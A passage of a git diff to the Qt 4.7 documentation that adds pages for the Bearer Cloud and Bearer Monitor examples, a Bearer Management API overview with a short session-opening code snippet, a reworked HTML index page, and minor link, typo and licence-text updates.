+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+    \example network/bearercloud
+    \title Bearer Cloud Example
+
+    The Bearer Cloud example shows how to use the Bearer Management API to monitor the
+    connectivity state of the local device.
+
+    \image bearercloud-example.png Screenshot of the Bearer Cloud example
+
+    Bearer Management provides the QNetworkConfigurationManager class which can be used to monitor
+    changes in the available \l {QNetworkConfiguration}{network configurations} and the
+    QNetworkSession class which is used to \l {QNetworkSession::open()}{open} and
+    \l {QNetworkSession::close()}{close} a session bringing a network interface up or down if
+    necessary.
+
+    This example displays all known \l {QNetworkConfiguration}{network configurations} in a cloud
+    orbiting the local device.  There are four orbits representing the four possible
+    \l {QNetworkConfiguration::StateFlags}{states} that the network configuration can be in.
+    The closer the orbit the more useful the network configuration is in its current state.
+    The inner orbit is populated with network configurations that are in the
+    \l {QNetworkConfiguration::Active}{Active} state.  The second orbit is populated with network
+    configurations that are in the \l {QNetworkConfiguration::Discovered}{Discovered} state.  The
+    third orbit is populated with network configurations that are in the
+    \l {QNetworkConfiguration::Defined}{Defined} state.  Finally the outer orbit is populated by
+    configurations that are in the \l {QNetworkConfiguration::Undefined}{Undefined} state.
+
+    Hovering the mouse over a network configuration will display information about the network
+    configuration in a tool tip.
+
+    Double clicking on an Active or Discovered network configuration will
+    \l {QNetworkSession::close()}{close} or \l {QNetworkSession::open()}{open} a network session,
+    respectively.
+
+    Lastly you can reorganize the cloud without changing the state of the network configurations by
+    dragging them around.
+
+    This example consists of two main classes, the BearerCloud and Cloud classes.  The Cloud class
+    represents a single network session and associated network configuration.  The BearerCloud
+    class implements a Graphics View scene and manages the life-cycle of Cloud
+    objects in response to notification signals from QNetworkConfigurationManager.
+
+    \section1 Setting the scene
+
+    When constructing the scene we first calculate some random offsets using the global qsand()
+    and qrand() functions.  We will use these offsets to scatter the initial position of new Cloud
+    objects.
+
+    Next we place a text item in the center of the scene to represent the local device and
+    surround it with four concentric circles to help visualize the orbits.
+
+    Finally we connect up the network configuration notification signals and queue the initial
+    population of the scene during the next iteration of the event loop.
+
+    \snippet examples/network/bearercloud/bearercloud.cpp 0
+
+    Populating the scene with the initial list of known network configuration is easy.  Iterate
+    over the list returned by QNetworkConfigurationManager::allConfigurations(), calling our
+    configurationAdded() slot on each one.
+
+    We finishing off by calling cloudMoved() to ensure that animations are started.
+
+    \snippet examples/network/bearercloud/bearercloud.cpp 1
+
+    The configurationAdded() slot gets called when a new network configuration is added to the
+    system.
+
+    It stores the \l {QNetworkConfiguration::identifier()}{identifier} of the network
+    configuration in the \e {configStates} map, which is used to keep a count of the number of
+    network configurations in each state.  This in turn is used to calculate the initial position
+    of new Cloud objects.
+
+    Next we create a new Cloud object for this network configuration.  Set its initial position
+    and store it in the \e {configurations} hash.
+
+    The last step is to add it to the scene by calling QGraphicsScene::addItem().
+
+    \snippet examples/network/bearercloud/bearercloud.cpp 2
+
+    The configurationRemoved() slot gets called when a network configuration is removed from the
+    system.
+
+    First we remove all references to the network configuration from the \e {configStates} and
+    \e {configurations} member variables.
+
+    Next we initiate animation by setting a final scale value on the Cloud object associated with
+    the removed network configuration.
+
+    Finally we flag the Cloud object to delete itself after it has finished animating.
+
+    \snippet examples/network/bearercloud/bearercloud.cpp 3
+
+    The Cloud object will take care of most of the work required when a network configuration
+    changes.  All we do in the configurationChanged() slot is update the \e {configStates} member
+    variable.
+
+    \snippet examples/network/bearercloud/bearercloud.cpp 4
+
+
+    \section1 Responding to changes
+
+    Each network session and associated network configuration known to the system is represented in
+    the scene as a Cloud object.
+
+    In the Cloud constructor we first initialize member variables.  Then we create a new
+    QNetworkSession object bound to the network configuration.  Next we connect the QNetworkSession
+    signals which we use to monitor it for state changes.
+
+    Next we set some QGraphicsItem properties.  The QGraphicsItem::ItemIsMovable flag enables mouse
+    interaction with the Cloud object.
+
+    The Cloud object consists of an icon and a text caption, these are constructed here.  We will
+    assign values to them later, as these will change as the sessions state changes.
+
+    Next we set the initial animation state and call our newConfigurationActivated() slot to finish
+    setting up the Cloud object based on the state of network session.
+
+    \snippet examples/network/bearercloud/cloud.cpp 0
+
+    The newConfigurationActivated() slot is called when a session has successfully roamed from one
+    access point to another.
+
+    The first thing we do is set the icon, inserting it into a shared SVG renderer cache if it is
+    not already available.  Next we set the text caption to the name of the network configuration.
+
+    We then set the position of the icon and text caption so that they are centered horizontally.
+
+    Finally we call our stateChanged() slot.
+
+    \snippet examples/network/bearercloud/cloud.cpp 1
+
+    The stateChanged() slot is called when the session state changes.
+
+    In this slot we set lower the opacity of Cloud objects with network sessions that cannot be
+    \l {QNetworkSession::open()}{opened}, and set a detailed tool tip describing the sessions
+    state.
+
+    \snippet examples/network/bearercloud/cloud.cpp 2
+
+    In our reimplementation of the QGraphicsItem::mouseDoubleClickEvent() function we call
+    QNetworkSession::open() or QNetworkSession::close() to open or close the session in response
+    to a double left click.
+
+    \snippet examples/network/bearercloud/cloud.cpp 3
+
+    As we support the user dragging Cloud objects around we need to restart animations when the
+    position of the Cloud object changes.  This is accomplished by reimplementing the
+    QGraphicsItem::itemChanged() function and calling the cloudMoved() function of the BearerCloud
+    object.
+
+    \snippet examples/network/bearercloud/cloud.cpp 4
+
+    The remainder of the code for the Cloud object implements the animations.  The
+    calculateForces() function calculates the new position of the Cloud object based on the
+    position of all the other Cloud objects in the scene.  The new position is set when the
+    advance() function is called to update the Cloud object for the current animation frame.
+*/
diff --git a/doc/src/examples/bearermonitor.qdoc b/doc/src/examples/bearermonitor.qdoc
new file mode 100644
index 0000000..592d1e5
--- /dev/null
+++ b/doc/src/examples/bearermonitor.qdoc
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+    \example network/bearermonitor
+    \title Bearer Monitor Example
+
+    The Bearer Monitor example shows how to use the Bearer Management API.
+
+    \image bearermonitor-example.png Screenshot of the Bearer Monitor example
+*/
diff --git a/doc/src/examples/qtscriptcustomclass.qdoc b/doc/src/examples/qtscriptcustomclass.qdoc
index f825ad9..028c7a6 100644
--- a/doc/src/examples/qtscriptcustomclass.qdoc
+++ b/doc/src/examples/qtscriptcustomclass.qdoc
@@ -120,6 +120,8 @@
     this ByteArrayClass object, so that the constructor, when it is invoked, can extract the
     pointer and use it to create a new \c{ByteArray} object.
 
+    \snippet examples/script/customclass/bytearrayclass.cpp 10
+
     \snippet examples/script/customclass/bytearrayclass.cpp 1
 
     The newInstance() function isn't part of the QScriptClass API; its purpose is to offer
@@ -128,6 +130,11 @@
     QScriptEngine::newObject() will call the prototype() function of our class, ensuring that
     the prototype of the new object will be the standard \c{ByteArray} prototype.
 
+    QScriptEngine::reportAdditionalMemoryCost() is called to inform the script engine of the
+    memory occupied by the QByteArray. This gives the garbage collector a hint that it should
+    perhaps trigger more frequently, possibly freeing up memory associated with large ByteArray
+    objects that are no longer in use.
+
     \snippet examples/script/customclass/bytearrayclass.cpp 2
 
     construct() is the native function that will act as a constructor for \c{ByteArray}
@@ -159,6 +166,12 @@
     array index that was calculated in the queryProperty() function, enlarge the array if necessary,
     and write the given value to the array.
 
+    \snippet examples/script/customclass/bytearrayclass.cpp 9
+
+    The resize() function is a helper function that resizes the QByteArray to a new size, and,
+    if the new size is greater than the old, reports the additional memory cost to the script
+    engine.
+
     \snippet examples/script/customclass/bytearrayclass.cpp 6
 
     The propertyFlags() reimplementation specifies that the \c{length} property can't be deleted,
diff --git a/doc/src/frameworks-technologies/activeqt.qdoc b/doc/src/frameworks-technologies/activeqt.qdoc
index e24959d..b752122 100644
--- a/doc/src/frameworks-technologies/activeqt.qdoc
+++ b/doc/src/frameworks-technologies/activeqt.qdoc
@@ -57,6 +57,7 @@
     \brief An overview of Qt's ActiveX and COM integration on Windows.
 
     \ingroup platform-specific
+    \ingroup frameworks-technologies
     \keyword ActiveQt
 
     Qt's ActiveX and COM support allows Qt for Windows developers to:
@@ -69,19 +70,26 @@
     controls.
     \endlist
 
+    For more information about using ActiveX with Qt, see
+    \l{Building ActiveX servers and controls with Qt}.
+
     The ActiveQt framework consists of two modules:
 
     \list
-    \o The \l QAxContainer module is a static
-       library implementing QObject and QWidget subclasses, QAxObject and
-       QAxWidget, that act as containers for COM objects and ActiveX
-       controls.
-    \o The \l QAxServer module is a static library that implements
+    \o The \l{Using ActiveX controls and COM objects in Qt}{QAxContainer}
+       module is a static library implementing QObject and QWidget subclasses,
+       QAxObject and QAxWidget, that act as containers for COM objects and
+       ActiveX controls.
+    \o The \l{Building ActiveX servers and controls with Qt}{QAxServer}
+       module is a static library that implements
        functionality for in-process and executable COM servers. This
        module provides the QAxAggregated, QAxBindable and QAxFactory
        classes.
     \endlist
 
+    A set of \l{Tools for ActiveQt}{tools} is provided to simplify the
+    developing and building of Qt projects that use ActiveX.
+
     To build the static libraries, change into the \c activeqt directory 
     (usually \c QTDIR/src/activeqt), and run \c qmake and your make
     tool in both the \c container and the \c control subdirectory.
diff --git a/doc/src/frameworks-technologies/eventsandfilters.qdoc b/doc/src/frameworks-technologies/eventsandfilters.qdoc
index 29d8709..96ee18c 100644
--- a/doc/src/frameworks-technologies/eventsandfilters.qdoc
+++ b/doc/src/frameworks-technologies/eventsandfilters.qdoc
@@ -67,8 +67,6 @@
     document describes how events are delivered and handled in a typical
     application.
 
-    \tableofcontents
-
     \section1 How Events are Delivered
 
     When an event occurs, Qt creates an event object to represent it by
diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc
index bc6404c..885e96c 100644
--- a/doc/src/getting-started/examples.qdoc
+++ b/doc/src/getting-started/examples.qdoc
@@ -880,6 +880,8 @@
     \o  \l{network/threadedfortuneserver}{Threaded Fortune Server}\raisedaster
     \o  \l{network/torrent}{Torrent}
     \o  \l{network/googlesuggest}{Google Suggest}
+    \o  \l{network/bearercloud}{Bearer Cloud}\raisedaster
+    \o  \l{network/bearermonitor}{Bearer Monitor}
     \endlist
 
     Examples marked with an asterisk (*) are fully documented.
diff --git a/doc/src/howtos/openvg.qdoc b/doc/src/howtos/openvg.qdoc
index 9c805bb..f70ed54 100644
--- a/doc/src/howtos/openvg.qdoc
+++ b/doc/src/howtos/openvg.qdoc
@@ -295,6 +295,16 @@
     Convolution, colorize, drop shadow, and blur filters are accelerated
     using OpenVG operations.
 
+    \section2 Scrolling
+
+    By default, accelerated scrolling is not enabled because the impact on
+    performance is very much tied to the hardware platform. To enable
+    accelerated scrolling, you should ensure that QVG_BUFFER_SCROLLING is
+    defined when compiling the QtOpenVG module.
+
+    You should only enable this feature if vgCopyPixels() is known to be
+    efficient on your hardware platform.
+
     \section1 Known issues
 
     Performance of copying the contents of an OpenVG-rendered window to the
diff --git a/doc/src/images/bearercloud-example.png b/doc/src/images/bearercloud-example.png
new file mode 100644
index 0000000..aaf69df
--- /dev/null
+++ b/doc/src/images/bearercloud-example.png
diff --git a/doc/src/images/bearermonitor-example.png b/doc/src/images/bearermonitor-example.png
new file mode 100644
index 0000000..1b8a9c3
--- /dev/null
+++ b/doc/src/images/bearermonitor-example.png
diff --git a/doc/src/images/declarative-integrating-graphicswidgets.png b/doc/src/images/declarative-integrating-graphicswidgets.png
new file mode 100644
index 0000000..d57f4b9
--- /dev/null
+++ b/doc/src/images/declarative-integrating-graphicswidgets.png
diff --git a/doc/src/images/declarative-samegame.png b/doc/src/images/declarative-samegame.png
new file mode 100644
index 0000000..2232df2
--- /dev/null
+++ b/doc/src/images/declarative-samegame.png
diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc
index 52d4488..2f23e6e 100644
--- a/doc/src/index.qdoc
+++ b/doc/src/index.qdoc
@@ -43,111 +43,84 @@
     \page index.html
     \keyword Qt Reference Documentation
 
-    \title Qt Reference Documentation
-
     \raw HTML
-        <table cellpadding="2" cellspacing="1" border="0" width="95%" class="indextable" align="center">
-        <tr>
-        <th class="titleheader" width="33%">
-            Getting Started</th>
-        <th class="titleheader" width="33%">
-            API Reference</th>
-        <th class="titleheader" width="33%">
-            Working with Qt</th>
-        </tr>
-        <tr>
-        <td valign="top">
-        <ul>
-            <li><a href="installation.html">Installation</a> and <a href="how-to-learn-qt.html">First Steps with Qt</a></li>
-            <li><a href="tutorials.html">Tutorials</a> and <a href="examples.html">Examples</a></li>
-            <li><a href="demos.html">Demonstrations</a> and <a href="qt4-7-intro.html"><b>New in Qt 4.7</b></a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="classlists.html">Class and Function Documentation</a></li>
-            <li><a href="frameworks-technologies.html">Frameworks and Technologies</a></li>
-            <li><a href="best-practices.html">How-To&#39;s and Best Practices</a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="developing-with-qt.html">Cross-Platform Development with Qt</a></li>
-            <li><a href="qtestlib-manual.html">Unit Testing</a> and <a href="debug.html">Debugging</a></li>
-            <li><a href="deployment.html">Deploying Qt Applications</a></li>
-        </ul>
-        </td>
-        </tr>
-        <tr>
-        <th class="titleheader">
-            Fundamentals</th>
-        <th class="titleheader">
-            User Interface Design</th>
-        <th class="titleheader">
-            Technologies</th>
-        </tr>
-        <tr>
-        <td valign="top">
-        <ul>
-            <li><a href="object.html">The Qt Object Model</a></li>
-            <li><a href="eventsandfilters.html">Event System</a></li>
-            <li><a href="threads.html">Threading</a></li>
-            <li><a href="internationalization.html">Internationalization</a></li>
-            <li><a href="platform-specific.html">Platform Specifics</a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="widgets-and-layouts.html">Widgets and Layouts</a></li>
-            <li><a href="application-windows.html">Application Windows</a></li>
-            <li><a href="paintsystem.html">Painting and Printing</a></li>
-            <li><a href="graphicsview.html">Canvas UI with Graphics View</a></li>
-            <li><a href="webintegration.html">Integrating Web Content</a></li>
-            <li><a href="declarativeui.html">Declarative UI (QML)</a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="io.html">Input/Output</a> and <a href="resources.html">Resources</a></li>
-            <li><a href="network-programming.html">Network Programming</a></li>
-            <li><a href="sql-programming.html">SQL Development</a></li>
-            <li><a href="xml-processing.html">XML Processing</a></li>
-            <li><a href="scripting.html">Scripting</a></li>
-        </ul>
-        </td>
-        </tr>
-        <tr>
-        <th class="titleheader">
-            Community and Resources</th>
-        <th class="titleheader">
-            Contributing</th>
-        <th class="titleheader">
-            Licenses</th>
-        </tr>
-        <tr>
-        <td valign="top">
-        <ul>
-            <li><a href="http://qt.nokia.com/developer">Online Resources</a></li>
-            <li><a href="http://labs.qt.nokia.com/blogs">Developer Blogs</a></li>
-            <li><a href="http://qt.nokia.com/support-services">Support</a>, <a href="http://qt.nokia.com/services-partners">Training and Services</a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="bughowto.html">Report Bugs and Make Suggestions</a></li>
-            <li><a href="http://qt.gitorious.org">Open Repository</a></li>
-            <li><a href="credits.html">Credits</a></li>
-        </ul>
-        </td>
-        <td valign="top">
-        <ul>
-            <li><a href="gpl.html">GNU GPL</a>, <a href="lgpl.html">GNU LGPL</a></li>
-            <li><a href="commercialedition.html">Commercial Edition</a></li>
-            <li><a href="licensing.html">Licenses Used in Qt</a></li>
-        </ul>
-        </td>
-        </tr>
-        </table>
+          <div class="indexbox" >
+            <div class="heading">
+              Qt Developer Guide</div>
+            <div class="indexboxcont indexboxbar">
+              <div class="section indexIcon">
+                <img src="images/qt_guide.png" alt="" /></div>
+              <div class="section">
+                <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p>
+              </div>
+              <div class="section sectionlist lastcol">
+                <ul>
+                  <li><a href="">Getting started</a></li>
+                  <li><a href="installation.html">Installation &amp; first steps</a></li>
+                  <li><a href="how-to-learn-qt.html">How to learn Qt</a></li>
+                  <li><a href="tutorials.html">Tutorials</a></li>
+                  <li><a href="examples.html">Examples</a></li>
+                  <li><a href="qt4-7-intro.html">Whats new in Qt 4.7</a></li>
+                </ul>
+              </div>
+            </div>
+          </div>
+          <div class="indexbox">
+            <div class="heading">
+              Qt API Overviews</div>
+            <div class="indexboxcont indexboxbar tricol">
+              <div class="sectionlist">
+                <ul>
+                  <li><a href="modules.html">All modules</a></li>
+                  <li><a href="classes.html">All classes</a></li>
+                  <li><a href="namespaces.html">All namespaces</a></li>
+                  <li><a href="functions.html">All functions</a></li>
+                  <li><a href="platform-specific.html">Platform support &amp; speciffics</a></li>
+                </ul>
+              </div>
+              <div class="sectionlist">
+                <ul>
+                  <li><a href="object.html">QObject model</a></li>
+                  <li><a href="application-windows.html">Window architecture</a></li>
+                  <li><a href="widgets-and-layouts.html">Styles &amp; layout</a></li>
+                  <li><a href="eventsandfilters.html">Event handling</a></li>
+                  <li><a href="paintsystem.html">Paint system</a></li>
+                </ul>
+              </div>
+              <div class="lastcol">
+                <ul>
+                  <li><a href="graphicsview.html">Canvas UI with Graphics View</a></li>
+                  <li><a href="declarativeui.html">UI design &amp; Qt Quick</a></li>
+                  <li><a href="io.html">Input/output</a></li>
+                  <li><a href="webintegration.html">Integrating Web Content</a></li>
+                  <li><a href="developing-with-qt.html">X-platform, debug &amp; deploy</a></li>
+                </ul>
+              </div>
+            </div>
+          </div>
+          <div class="indexbox">
+            <div class="heading">
+              Qt Tools</div>
+            <div class="indexboxcont">
+              <div class="section indexIcon">
+                <img src="images/qt_tools.png" alt="" /></div>
+              <div class="section">
+                <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for
+                project and code management as well as building powerfull UIs.</p>
+              </div>
+              <div class="section sectionlist lastcol">
+                <ul>
+                  <li><a href="http://doc.qt.nokia.com/qtcreator-1.3/index.html">Qt Creator</a></li>
+                  <li><a href="designer-manual.html">Qt Designer</a></li>
+                  <li><a href="linguist-manual.html">Qt Linguist</a></li>
+                  <li><a href="assistant-manual.html">Qt Assistant</a></li>
+                  <li><a href="http://doc.qt.nokia.com/">Integration and add-ins</a></li>
+                  <li><a href="qvfb.html">Virtual Framebuffer</a></li>
+                </ul>
+              </div>
+            </div>          
+          </div>
+
     \endraw
 
 */
diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
index 678eb09..424dec2 100644
--- a/doc/src/internationalization/linguist-manual.qdoc
+++ b/doc/src/internationalization/linguist-manual.qdoc
@@ -724,7 +724,7 @@
     causes an application to perform an action. There are two kinds of
     keyboard accelerators: Alt key and Ctrl key accelerators.
 
-    \section3 Alt Key Accellerators
+    \section3 Alt Key Accelerators
 
     Alt key accelerators are used in menu selection and on buttons.
     The underlined character in a menu item or button label signifies
diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc
index d608038..8d0cd2a 100644
--- a/doc/src/legal/3rdparty.qdoc
+++ b/doc/src/legal/3rdparty.qdoc
@@ -454,4 +454,43 @@
     OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE.
 
     See \c src/3rdparty/webkit/JavaScriptCore/wtf/dtoa.cpp for license details.
+
+    \section1 Pixman (\c pixman) version 0.17.11
+
+    \e{pixman is a library that provides low-level pixel manipulation
+    features such as image compositing and trapezoid rasterization.} -- quoted
+    from \c src/3rdparty/pixman/README
+
+    We are only using the pixman-arm-neon-asm.h and pixman-arm-neon-asm.S
+    source files which have the following copyright and license header:
+
+    \hr
+
+    Copyright © 2009 Nokia Corporation
+
+    Permission is hereby granted, free of charge, to any person obtaining a
+    copy of this software and associated documentation files (the "Software"),
+    to deal in the Software without restriction, including without limitation
+    the rights to use, copy, modify, merge, publish, distribute, sublicense,
+    and/or sell copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice (including the next
+    paragraph) shall be included in all copies or substantial portions of the
+    Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+    DEALINGS IN THE SOFTWARE.
+
+    Author:  Siarhei Siamashka (siarhei.siamashka@nokia.com)
+
+    \hr
+
+    See \c src/3rdparty/pixman/pixman-arm-neon-asm.h and
+    \c src/3rdparty/pixman/pixman-arm-neon-asm.S
 */
diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
index 76a52b4..1ab1c00 100644
--- a/doc/src/modules.qdoc
+++ b/doc/src/modules.qdoc
@@ -297,8 +297,6 @@
 	QtScriptTools module provides additional Qt Script-related
 	components that application developers may find useful.
 
-	\tableofcontents
-
 	To include the definitions of the module's classes, use the
 	following directive:
 
@@ -355,8 +353,6 @@
 
   \brief The QtScriptTools module provides additional components for applications that use Qt Script.
 
-  \tableofcontents
-
   \section1 Configuring the Build Process
 
   Applications that use the Qt Script Tools classes need to
@@ -493,6 +489,14 @@
 
     \snippet doc/src/snippets/code/doc_src_qtxmlpatterns.qdoc 1
 
+    \section1 Further Reading
+
+    General overviews of XQuery and XSchema can be found in the
+    \l{Using XML Technologies} document.
+
+    An introduction to the XQuery language can be found in
+    \l{A Short Path to XQuery}.
+
     \section1 License Information
 
     The XML Schema implementation provided by this module contains the \c xml.xsd file
@@ -810,6 +814,8 @@
     \brief The QAxContainer module is a Windows-only extension for
     accessing ActiveX controls and COM objects.
 
+    QAxServer is part of the \l{ActiveQt Framework}.
+
     \section1 License Information
 
     The QAxContainer module is not covered by the \l{GNU General Public License (GPL)},
@@ -860,6 +866,8 @@
     \brief The QAxServer module is a Windows-only static library that
     you can use to turn a standard Qt binary into a COM server. 
 
+    QAxServer is part of the \l{ActiveQt Framework}.
+
     \section1 License Information
 
     The QAxContainer module is not covered by the \l{GNU General Public License (GPL)},
diff --git a/doc/src/network-programming/bearermanagement.qdoc b/doc/src/network-programming/bearermanagement.qdoc
new file mode 100644
index 0000000..10d697a
--- /dev/null
+++ b/doc/src/network-programming/bearermanagement.qdoc
@@ -0,0 +1,286 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page bearer-management.html
+
+\title Bearer Management
+\brief An API to control the system's connectivity state.
+
+\ingroup network
+
+Bearer Management controls the connectivity state of the system so that
+the user can start or stop interfaces or roam transparently between
+access points.
+
+\tableofcontents
+
+
+\section1 Overview
+
+The Bearer Management API controls the system's connectivity state. This
+incorporates simple information such as whether the device is online and
+how many interfaces there are as well as enables the application developer
+to start, stop network interfaces and influences other connection specific
+details. Depending on the platform's capabilities it may even provide
+session management so that a network interface remains up for as long as
+clients have a registered interest in them while at the same time
+optimizes the interface's uptime.
+
+This API does not provide support for management of network configurations
+themselves. It is up to the platform to provide infrastructure which
+enables to user to create, edit or delete network configurations.
+
+\section2 The API in Detail
+
+Computer systems manage their network interfaces via a set of configurations.
+Each configuration describes a set of parameters which instruct the system
+how a particular network interface is started. One of the most simplistic
+examples might be an Ethernet configuration that links a network card to a
+DHCP server. A more complex example might be a Wireless LAN configuration
+which may comprise of hardware details such as the WLAN card address,
+WLAN access point details (e.g ESSID, encryption details) and user specific
+information (for example username and password). Once the network interface
+was configured and started according to the configuration blue print,
+multiple applications are free to use this link layer connection/session
+for their own socket operations. Note that the QNetworkConfiguration object
+only provides limited information about the configuration details themselves.
+It's main purpose is to act as a configuration identifier through which link
+layer connections can be created, destroyed and monitored.
+
+QNetworkSession provides two types of use cases. It enables the monitoring of
+physical network interfaces and management of network sessions. Network sessions
+are a common feature on mobile devices where multiple applications
+can request network sessions as they see fit. The system consolidates and tracks
+active network sessions for the same network interface by maintaining the link
+layer connections until the last session has been closed. The subsequent table
+lists the major QNetworkSession functions and how they fit into the session and
+hardware management categories:
+
+\table 60%
+\header \o Interface management             \o Session management
+\row    \o QNetworkSession::stop()          \o QNetworkSession::open()
+\row    \o QNetworkSession::interface()     \o QNetworkSession::close()
+\row    \o QNetworkSession::state()         \o QNetworkSession::isOpen()
+\row    \o QNetworkSession::bytesWritten()  \o QNetworkSession::migrate()
+\row    \o QNetworkSession::bytesReceived() \o QNetworkSession::ignore()
+\row    \o QNetworkSession::activeTime()    \o QNetworkSession::accept()
+\row    \o QNetworkSession::stateChanged()  \o QNetworkSession::reject()
+\row    \o                                  \o QNetworkSession::opened()
+\row    \o                                  \o QNetworkSession::closed()
+\endtable
+
+The state of the session represents the state of the underlying access point
+whereas the session's openness implies the networking/connectivity state available
+to the current process.
+
+Possible use cases for interface management are network management related
+applications which intend to monitor the connectivity state but do not engage
+in network communication themselves. Any application wanting to open a socket
+to a remote address will typically use session management related functionality.
+
+\section3 Service networks
+
+Some mobile platforms use the concept of grouped access points (also
+called SNAP or Service Network Access Point). In principle multiple
+configurations are grouped together and possibly even prioritized when
+compared to each other. This is useful for use cases where all
+configurations serve a similar purpose or context. A common context could
+be that they provide access to the public Internet or possibly only to the
+office Intranet. By providing a pool of configurations the system can make
+a decision based on given priorities which usually map to factors such as
+speed, availability and cost. Furthermore the system can automatically
+roam from one access point to the next one while ensuring minimal impact on
+the user experience.
+
+The \l{QNetworkConfiguration::Type} flag specifies to what category a
+configuration belongs. The \l{QNetworkConfiguration::InternetAccessPoint}
+type is the most common example. It represents a configuration that can be
+used to create a session. The above mentioned grouping behavior is provided
+by \l {QNetworkConfiguration::ServiceNetwork} configurations. Service
+networks are place holders until such time when the user attempts to
+\l {QNetworkSession::open()}{open()} a new session. At that point in time
+the system determines which of the configurations \l{QNetworkConfiguration::children()}
+is best to use. The selection algorithm is provided by the platform and is usually managed
+by network settings applications. A service network can only have one level of indirection
+which implies children can only be of type \l {QNetworkConfiguration::InternetAccessPoint}.
+
+Most systems allow the user to define the systems default configuration.
+Usually the default behavior is either a service network, a particular
+Internet access point or the user instructs the platform to ask the user
+once an application requests the network. User interaction is generally
+implemented by some sort of system dialog which shows up at the appropriate
+point in time. The application does not have to handle the user input. This
+API provides the \l QNetworkConfigurationManager::defaultConfiguration()
+call which serves a similar purpose. The subsequent code snippet provides
+a quick way how an application can quickly create a new network session
+without (or only minimal) user interaction:
+
+\code
+    // Set Internet Access Point
+    QNetworkConfigurationManager manager;
+    const bool canStartIAP = (manager.capabilities()
+                              & QNetworkConfigurationManager::CanStartAndStopInterfaces);
+    // Is there default access point, use it
+    QNetworkConfiguration cfg = manager.defaultConfiguration();
+    if (!cfg.isValid() || (!canStartIAP && cfg.state() != QNetworkConfiguration::Active)) {
+        QMessageBox::information(this, tr("Network"), tr(
+                                     "No Access Point found."));
+        return;
+    }
+
+    session = new QNetworkSession(cfg, this);
+    session->open();
+    session->waitForOpened(-1);
+\endcode
+
+To accommodate the "Ask user" use case the default configuration can be of
